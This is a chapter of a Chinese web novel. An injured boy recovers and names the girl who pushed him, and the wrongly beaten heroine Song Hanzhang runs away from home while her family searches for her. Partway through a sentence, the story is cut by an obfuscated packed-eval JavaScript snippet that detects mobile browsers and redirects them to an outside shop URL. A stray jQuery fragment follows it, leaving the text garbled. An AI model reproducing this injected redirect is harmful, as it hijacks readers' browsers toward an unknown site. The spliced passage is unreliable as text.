因为钟荀彧还未醒来,青山书院所有的人都没有离开。
从日升到日中,从日中到日斜,大家都在青山书院的院中,或站、或立、或坐——王谦山长坐在廊下的竹椅上,双手交叠在膝头,闭目养神,面容平静,只是眉头一直没有松开;余老先生拄着拐杖坐在台阶上,那双虚脱了一日一夜的腿还在微微发颤;宋行简靠在那棵老槐树下,目光一直望着偏房的方向;洪楚离和程国恩并排坐在廊下的栏杆上,谁也没有开口说话。
院中寂静无比,没有人说一句话,只有偶尔一阵风吹过树叶的沙沙声,和远处后山传来的几声鸟鸣,衬得这沉默更加沉重。
日头西斜,将老槐树的影子拉得又长又斜,随后黑色慢慢从山脚漫上来,漫过了院墙,漫过了树梢,漫过了每一个人的头顶。书院里的灯火次第亮起,将众人的影子投在青石地面上,影影绰绰,晃动不定。
偏房里,烛火微微跳动,将床边两个人的影子投在墙上。钟夫人坐在床边,紧紧握着儿子的手,那只小手在她掌心里捂了一整天,终于从冰凉捂到微温。
她的嘴唇干裂,面容憔悴,眼窝深深地陷了下去,可那双眼睛却一刻也没有离开过儿子的脸。她在心里一遍一遍地默念着,用自己的命去换儿子的命——只要他能活,让她做什么都可以,让她折寿十年、二十年、三十年,让她把剩下的命都交出去,都行。
兴许是这世间还有牵绊,钟荀彧的手指动了一下。
钟夫人感觉到了。她猛地一震,那双悲痛得近乎麻木的眼睛里,忽然有什么东西亮了一下。
她缓缓低下头,将目光移到手心里儿子的手上,嘴角微微扬起,带着一丝欣喜。那欣喜极小极淡,像是寒冬里第一星微弱的炭火。可是儿子没有继续再动,那只手指又安静了下去,仿佛方才只是她太想他醒来而产生了错觉。那一丝欣喜转瞬即逝,她的嘴角又垂了下去,眼睛里的光芒也暗了。
可是过了一会儿,儿子的手指又动了一下。这一次比方才更有力,更清晰——不是错觉,是真的在动。她的眼睛死死地盯着儿子的手指,呼吸都停了,看着那只苍白的小手指又动了几下。她嘴角的欣喜再次浮现,这一次比方才更大、更稳,像炭火终于被吹着了,亮了起来。
她赶紧把嘴凑到儿子耳边,轻声地、一字一字地说道,声音因为激动而微微发颤,又怕太大声会惊着儿子:“荀彧,荀彧——你是不是醒了?如果你醒了,就抓抓娘的手指头,好不好?轻轻抓一下,娘就知道你回来了。”那声音轻得像怕惊碎了什么,又急切得像等了一个漫长的冬天终于听见了冰河开冻的第一声脆响。
迷迷糊糊中的钟荀彧听见了。他听见了那个熟悉的声音——那个从他牙牙学语时就一直在耳边的声音,那个他每次生病都会守在床边给他唱童谣的声音。他抓住了那个声音,用尽全身仅有的一点力气,把手指收拢,果真用了些力,虚虚地抓着母亲的手指。那力道极轻极轻,像一片羽毛,却把一个母亲从地狱里拉了回来。
一旁的林太医看见了钟荀彧那微微蜷动的手指。他立刻放下手中的药碗,快步走到床边,俯下身子,手指搭上了钟荀彧的脉搏——那脉搏比昨夜强了些,虽然还细,却已经不再若有若无。他翻开钟荀彧的眼皮,瞳孔已经回缩,不再是之前那涣散的模样。他直起身,脸上那紧绷了一天一夜的神色,终于有了一丝松动。
钟夫人喜极而泣。她张了张嘴,想说儿子醒了,想说儿子活过来了,可喉咙像是被什么东西堵住了,一个字都说不出来。
她跌跌撞撞地跑出偏房,脚步踉跄得几乎摔倒,跑到院中,也不管什么礼数什么体统,一把抓住钟廷的手臂,嘴唇哆嗦着,就是说不出话来。她只是拉着钟廷,转身就往屋里奔。钟廷被她拽得一个踉跄,看着夫人那张满脸泪痕却突然有了光的脸,拔腿就跟了进去。
院子里的灯火明亮,映在众人的脸上。这一张张或老或少的脸上,皆是忐忑——有人攥紧了拳头,有人屏住了呼吸,有人不自觉地往前挪了半步。
宋行简从槐树下站直了身子,洪楚离从栏杆上跳了下来,连余老先生都拄着拐杖颤巍巍地从台阶上站了起来。没有人说话,所有人的目光都聚集在那扇半掩的门上。
坐在床边的林太医正在认真地给钟荀彧把脉,三根手指搭在细细的手腕上,闭目凝神。
钟廷和夫人站在一旁,浑身颤抖,钟廷的手扶着夫人的肩,两个人都死死盯着林太医的脸,不敢错过任何一个细微的表情。
没一会儿,林太医睁开眼睛,将手指从钟荀彧的腕上移开,站起身来,转向钟廷。他素来寡言,此刻也只说了一句,声音里带着一种历尽千帆后波澜不惊的笃定:“令郎已安。今日遭如此大难尚能挺过来,以后必定安然无虞——这小子命硬,阎王不肯收。”
钟廷和夫人听了,愣了一瞬。然后两个人像两棵被狂风刮了太久终于落了根的树,浑身一软,喜极而泣。
钟夫人捂住嘴,眼泪无声地往下淌,肩膀一抽一抽地,终于不再是那些撕心裂肺的哭嚎,而是如释重负的、劫后余生的泪。
钟廷的眼眶也红了,这个在朝堂上从不低头的户部尚书,此刻什么话都说不出来。两人齐齐跪下,膝盖磕在砖地上,对着林太医重重地磕头致谢。钟廷的头抵在冰冷的砖地上,肩膀无声地颤抖着。
林太医赶紧弯腰将两人扶起,连声道:“医者本分,不必如此。”
床上的钟荀彧,嘴巴动了动。那张苍白的嘴唇翕动了几下,像是在说梦话,又像是在努力发出什么声音。他的呼吸还很微弱,胸口起伏的幅度极小,可那双嘴唇,确实在动。
钟廷俯下身,把耳朵凑到儿子嘴边。他的动作极轻极慢,只听见儿子那断断续续的、微弱得像蚊蚋振翅般的声音,一个字一个字从喉咙深处艰难地挤出来:“是……曾思雨……把我推下去的……不要……为难……宋含章……不是她……推的……”钟荀彧的话断断续续,说几个字就要歇一歇,可那意思,分明而清楚。话音刚落,他又沉沉地闭上了眼睛,仿佛把这几句话说出来,整个人又睡了过去——但这一次,是安稳的、有呼吸有温度的睡眠。
钟廷直起身,将儿子的话一字一句地重复给在场众人。他那沙哑的声音在安静的偏房里格外清晰,传到屋外,院子里所有的人都听见了。
屋外的众人,那悬了一天一夜的心,终于稳稳当当地落在了地上。王谦山长长长地吐出一口气,那口气里装着几十个小时的焦灼与不安;余老先生用袖子擦了擦眼角,拐杖在地上轻轻顿了顿,嘴里念叨着“活着就好,活着就好”;宋行简靠在老槐树上,仰头看着夜空,眼眶红了,嘴角却是上扬的——他的妹妹,不是凶手。那一巴掌,他不知道自己这辈子还能不能还给她。
靖王爷站在人群里,长长地舒了一口气。那口气舒得太明显,周围的几个人都听到了。他方才对钟廷说的那些话——那些“要杀要剐全凭你处置”的场面话——背后带着几分不愿示人的威胁之意。其实他说完之后,心里始终是有些后怕的。
毕竟钟廷的势力也不可小觑,户部管着天下的钱粮,自己军队的饷银还要经过钟廷的手里审批,若是得罪狠了,每一笔银子都有被卡住的可能。如今钟荀彧活下来了,钟廷方才那句“如果犬子有什么不测”的前提便不存在了,两家至少不会彻底撕破脸。
钟荀彧既然已醒,众人便都纷纷告辞,踏着夜色各回各家。马车一辆接一辆地驶离青山书院,车轮碾过青石板的声音渐渐远去,书院终于又恢复了它本来的宁静。
宋府外围,钟家的家丁已经撤走。那些举了一夜一日火把和长刀的人终于散了,巷子里又恢复了往日的安静,只剩下墙上被火把熏出的几道黑印,证明过这场风波的存在。宋含章被肖朗从祠堂里背回了自己的房间,趴在了那张熟悉的、有她体温的床上。
她趴在枕头上,听见春夏在一旁给她上药时絮絮叨叨地说钟家公子活下来了、陆鸣大人查出真相了、曾思雨她们都招了。
她的嘴角只是微微扬了一下,那笑容极淡极轻,像是听了一个与己无关的故事,旋即闭上眼睛,沉沉睡了过去。春夏跪在床边,手里拿着药膏,看着她家姑娘那满背层层叠叠的伤口,眼泪一滴一滴地落在药膏上,可她没有哭出声——她怕吵醒姑娘。
宋夫人、宋四维、宋行简站在宋含章的房门口,隔着门槛看着床上那个趴着的、呼吸均匀的女儿。
她的背上新旧伤口叠在一起,血肉模糊,可她的脸却很平静——比他们三个人都要平静。宋夫人的手攥着门框,指甲陷进了木头里。宋四维的肩膀微微塌着。
宋行简站在那里,目光落在那张侧脸上,想起自己扬起的那一巴掌。他们心里都装着同样的东西——自责、懊悔和心疼,像三块石头压在胸口,沉甸甸的,让人喘不过气。
他们不知道明早醒来,该如何面对宋含章。他们更不知道,宋含章其实根本不需要他们面对——她从来不怨任何人,这些对她都已无所谓了,她只是睡着了。
宋玉章、程国恩、肖朗站在院中,透过窗户看着屋里那个睡着的身影,既心疼又佩服。竹鞭落在她身上,她一声不吭,眼泪都没有掉一颗。伤口那么严重——新旧叠加,皮开肉绽,血把衣裳都粘在了身上——她竟然还吃得下,睡得着。
肖朗想起自己在习武时见过的那些骨头硬的人——只有真正硬过骨头的人,才能在遍体鳞伤之后还睡得这么安稳。他抱着胳膊,没有说话,眼底的敬佩却藏也藏不住。
这一夜的京城,异常安静。茶楼没有再说书,巷口没有人再议论,整座城像是经历了一场暴风雨后终于喘了口气,沉沉地睡了过去。
第二日的晨光慢慢升起,阳光透过窗棂洒进宋含章的房间,照在那一床叠得整整齐齐的被褥上。
霍凌霜、顾子佩、曾思雨、沈十安都被施了家法。霍擎苍的鞭子比上次更重,抽得霍凌霜后背皮开肉绽,她却咬着牙一声不吭,罚完之后自己扶着墙站起来,一瘸一拐地去祠堂罚跪。
曾思雨在靖王府的祠堂里跪了一天一夜,膝盖跪肿了,脸被靖王爷打肿的那一侧还留着青紫色的指印。
顾子佩被顾老夫人亲自用戒尺打了手心二十下,每一戒尺都打得结结实实,然后被罚去佛堂抄写《女诫》十遍。
沈十安被沈老夫人罚跪在祖宗牌位前整夜,膝盖磨破了皮,又被罚禁足三个月不得出门。四个孩子,各自在挨打受罚,可他们挨的罚,和宋含章背上那些层层叠叠的伤口比起来,差得太远太远。
宋府里,宋夫人亲自下厨。她天不亮就起来,挽起袖子,亲手做了宋含章最喜欢吃的饭菜——红烧肉是挑的五花三层,肥瘦相间,炖了整整一个时辰,筷子一夹就能化开;糖醋排骨裹着亮晶晶的糖色,摆在盘子里还冒着热气;还有一大碗鸡腿面,汤汁浓郁,上面卧着两个金黄的荷包蛋。
她把饭菜装进食盒里,心里反复盘算着怎么开口——怎么跟女儿说对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618716|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不起,怎么告诉女儿自己有多后悔,怎么让女儿知道她不是不相信她,她只是太害怕了。
当她准备把饭菜端进宋含章房间时,春夏拿着一张纸,跌跌撞撞地从院子里跑出来,哭哭啼啼地跑到前厅,眼泪糊了满脸,声音因为跑得太急而断断续续,嘶哑而尖锐地大声喊道:“大人,夫人——姑娘走了,姑娘走了!姑娘不见了——!”
此话一出,前厅里所有人都腾地站了起来。宋四维手中的茶盏啪地掉在地上摔得粉碎;宋夫人手中的食盒晃了晃,里面的汤洒了出来,烫红了她的手背,她却浑然不觉。
宋行简、程国恩、宋玉章、抱着宋清扬和宋引章的肖朗,全都震惊不已。宋清扬和宋引章虽然还不太明白“走了”是什么意思,可看到大人们脸上的表情,也哇地一声哭了出来。
宋夫人赶紧从春夏手里一把接过那张纸条,手指颤抖着展开。宋四维、宋行简等人也围了过来,脑袋挤在一起,目光同时落在那些字上。
只见纸条上写着——
“父亲、母亲,这个世间容不下女儿,京城容不下女儿。女儿走了,去寻找一个能容得下女儿的地方。不要来寻女儿了,请原谅,是女儿辜负了你们的养育之恩。”
众人看了,心都在震颤。宋夫人的手一松,纸条从她指尖滑落,飘到了地上。她一手撑着饭桌,手指死死地扣着桌沿,深深吸了一口气,然后转身,朝宋含章的房间走去。其他人也紧跟其后,脚步声杂乱而急促。
房间里整整齐齐。被子叠得方方正正,枕头摆在正中央,桌子上的笔墨纸砚排列得一丝不苟,地上连一片纸屑都没有。
宋玉章赶紧打开衣柜——衣柜里所有衣衫,一件不少。她又去墙角看那些木匠的工具——锯子、刨子、凿子、墨斗,全都安安静静地躺在那儿。
宋含章走了,什么都没带:衣衫未带,春夏给她做的新鞋未带,那些她视若珍宝的木匠工具也未带。她只带走了她自己。
可是,没有人知道——在她那件红色交领襦裙的袖袋里,悄悄揣走了一样东西。那是一方素白的手帕,边角只绣了一个歪歪扭扭的“宇”字。
那是顾承宇在沈府假山后面递给她的那一块。那日在假山后,她用它擦过嘴上的点心碎屑,随手塞进了袖子里,后来竟忘了还——也许是忘了,也许是那个从来只知道拳头和倔强的胖姑娘,在京城这个容不下她的地方,偷偷带走了唯一一个少年郎给予她的、不带任何嘲弄和怜悯的善意。
她没有带衣衫,没有带木鸢,没有带春夏给她烙的大饼,却带走了那块帕子。
宋夫人看了一圈,终于再也撑不住了。她瘫坐在地上,双手抱着自己的肩膀,仰起头,嘴一张,嚎啕大哭起来。
那哭声从胸腔最深处被硬生生撕出来,穿透了房间,穿透了庭院,在整座宋府上空回荡。她嘴里嘶声力竭地喊着:“团团——我的团团——娘错了,娘不该打你,娘不该不信你,你回来,你回来啊——”那声音已经不再是一个当家主母的声音,而是一个丢了孩子的母亲最原始、最撕心裂肺的哀嚎。
宋四维站在房门口,背对着所有人,用手捂住了眼睛。他的肩膀轻轻颤抖着,泪水从指缝里渗出来,顺着手指的纹路往下淌。如今女儿走了,什么都不要了,连木鸢都没带,连春夏都没带,一个人踏进了那个容不下她的天地。
宋玉章抱着宋引章,姐妹俩哭成了一团,宋引章死死拽着姐姐的衣襟,嘴里反复喊着“二姐姐呢?我要二姐姐”。
宋清扬在肖朗怀里放声大哭,哭得撕心裂肺,嘴里还喊着“二姐姐不要走”。肖朗红着眼眶,把宋清扬抱得紧紧的,什么话都说不出来。
春夏蹲在宋夫人身边,把那张纸条从地上捡起来,攥在手里贴在胸口,哭得浑身发抖——她家姑娘,走了。什么都没有带,连她都没有带上。
宋行简、程国恩、肖朗来不及伤心哭泣。三个少年冲出宋府,分头去召集所有的家丁,把人撒出去,沿着京城每一条街道、每一个城门、每一片林子和每一座桥头去寻找。
宋行简跑到城门口问守城的卫兵,卫兵说天色太早,换班才换了一轮,谁也不曾注意过有没有一个胖姑娘出城。他又去茶馆门口,去那个说书人平日里说书的地方,去书院的马场,去后山的悬崖边——他跑遍了所有她能去的地方,可每一条巷子都是空的,每一扇门后面都没有她。
中午时分,顾老夫人、顾二夫人、顾承宇、沈老夫人、靖王妃、霍擎苍带着厚礼,亲自来到宋府登门致歉。
他们这次来,是真心实意来赔罪的——孩子们犯下的错,做长辈的不能不担。
然而当他们跨进宋府大门,看到的是一片哀戚之色,知晓宋含章不见了的消息时,这些在朝堂上和深宅里见惯了风浪的人,也忍不住心疼起来。
宋夫人已经哭哑了嗓子,坐在前厅的椅子上,目光呆滞,连来客都没有力气招呼。
沈老夫人拄着拐杖站在宋含章的房间里,看着那叠得整整齐齐的被褥和那些安安静静躺着的木工工具,眼眶也红了,喃喃地说了一句:“这么好的孩子,被我们这些大人逼走了。”
顾老夫人没有说话,只是转过身,吩咐顾承宇立刻派出宁安侯府所有的亲兵,沿着京城通往外界的每一条官道去寻找。
霍擎苍也铁青着脸,让副将带着一队轻骑出城去搜寻。
可是宋含章,已经不见了。没有人知道她去了哪里,也没有人知道她还会不会回来。